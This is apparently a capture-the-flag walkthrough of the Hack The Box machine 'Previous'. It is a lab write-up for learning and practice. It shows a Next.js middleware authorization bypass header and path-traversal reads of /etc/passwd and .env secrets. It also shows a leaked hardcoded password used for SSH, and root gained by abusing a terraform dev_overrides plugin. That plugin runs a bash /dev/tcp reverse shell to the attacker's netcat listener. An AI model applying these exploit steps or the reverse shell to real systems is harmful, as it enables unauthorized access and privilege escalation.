Hack The Box / LINUX / 2025-08-30
Hack The Box — Previous (Linux)
Next.js middleware authorization bypass and path traversal lead to credential disclosure, then Terraform provider override abuse yields root via malicious plugin execution.
Target
- IP:
10.10.11.83
Port scan
sudo nmap -sC -sV 10.10.11.83 -T5 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add previous.htb to /etc/hosts.
Go to http://previous.htb/.
There are two buttons: getting started and docs.
Click getting started. You are redirected to a login form. Enter random credentials, submit the form, and intercept request/response with Burp.
We discover it uses Next.js.
There is a vulnerability (CVE-2025-29927) with an exploit reference:
- https://projectdiscovery.io/blog/nextjs-middleware-authorization-bypass
Go back to the homepage.
Click getting started and intercept the request with Burp.
Add this header:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Remember to leave two empty lines after it.
Send the request. We reach http://previous.htb/docs.
Using the same strategy, go to http://previous.htb/docs/examples.
On the page there is a file download link:
http://previous.htb/api/download?example=hello-world.ts
Click the link, intercept with Burp, and send it to Repeater.
Add this header:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Remember to leave two empty lines after it.
We obtain the file.
Replace the file path with ../../../etc/passwd:
/api/download?example=../../../etc/passwd
We obtain passwd.
We notice users node and nextjs.
Get /etc/hostname.
The hostname is 4bb9b862a172, so we are in a Docker container.
Get /proc/self/environ.
We see:
PWD=/app
Get /app/.env.
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a
Get /app/.next/server/pages-manifest.json.
{
"/_app": "pages/_app.js",
"/_error": "pages/_error.js",
"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
"/api/download": "pages/api/download.js",
"/docs/[section]": "pages/docs/[section].html",
"/docs/components/layout": "pages/docs/components/layout.html",
"/docs/components/sidebar": "pages/docs/components/sidebar.html",
"/docs/content/examples": "pages/docs/content/examples.html",
"/docs/content/getting-started": "pages/docs/content/getting-started.html",
"/docs": "pages/docs.html",
"/": "pages/index.html",
"/signin": "pages/signin.html",
"/_document": "pages/_document.js",
"/404": "pages/404.html"
}
Get /app/.next/server/pages/api/auth/[...nextauth].js.
We notice:
username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")
ssh jeremy@previous.htb
Insert password:
MyNameIsJeremyAndILovePancakes
We obtain a shell.
sudo -l
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
In jeremy home there is .terraformrc with this content:
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
ls -la /usr/local/go/bin
total 38744
drwxr-xr-x 2 root root 4096 Aug 21 18:38 .
drwxr-xr-x 10 root root 4096 Aug 7 2024 ..
-rwxr-xr-x 1 root root 13387863 Aug 7 2024 go
-rwxr-xr-x 1 root root 2850696 Aug 7 2024 gofmt
-rwxr-xr-x 1 root root 23418927 Aug 21 18:38 terraform-provider-examples
We discover that when running the sudo command, Terraform loads plugin terraform-provider-examples.
We discover plugin source code is in /opt/terraform-provider-examples.
The idea is to build a malicious plugin that executes a reverse shell.
Download /opt/terraform-provider-examples to the attacker machine:
scp -r jeremy@previous.htb:/opt/terraform-provider-examples .
cd terraform-provider-examples
Modify main.go as follows:
package main
import (
"context"
"flag"
"log"
"os/exec"
"github.com/hashicorp/terraform-plugin-framework/providerserver"
"terraform-provider-examples/internal/provider"
)
var (
version string = "dev"
)
func main() {
cmd := exec.Command("bash", "/dev/shm/rev")
cmd.Output()
var debug bool
flag.BoolVar(&debug, "debug", false, "support for debuggers")
flag.Parse()
opts := providerserver.ServeOpts{
Address: "previous.htb/terraform/examples",
Debug: debug,
}
err := providerserver.Serve(context.Background(), provider.New(version), opts)
if err != nil {
log.Fatal(err.Error())
}
}
Run:
go mod tidy
go build
An executable binary called terraform-provider-examples is created.
Upload it to the victim machine:
scp terraform-provider-examples jeremy@previous.htb:/dev/shm
Modify .terraformrc as follows:
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
On the victim machine, create /dev/shm/rev with content:
bash -i >& /dev/tcp/10.10.14.144/4444 0>&1
On attacker machine, listen with netcat:
nc -vlnp 4444
On victim machine, run:
sudo terraform -chdir\=/opt/examples apply
We obtain a reverse shell as root.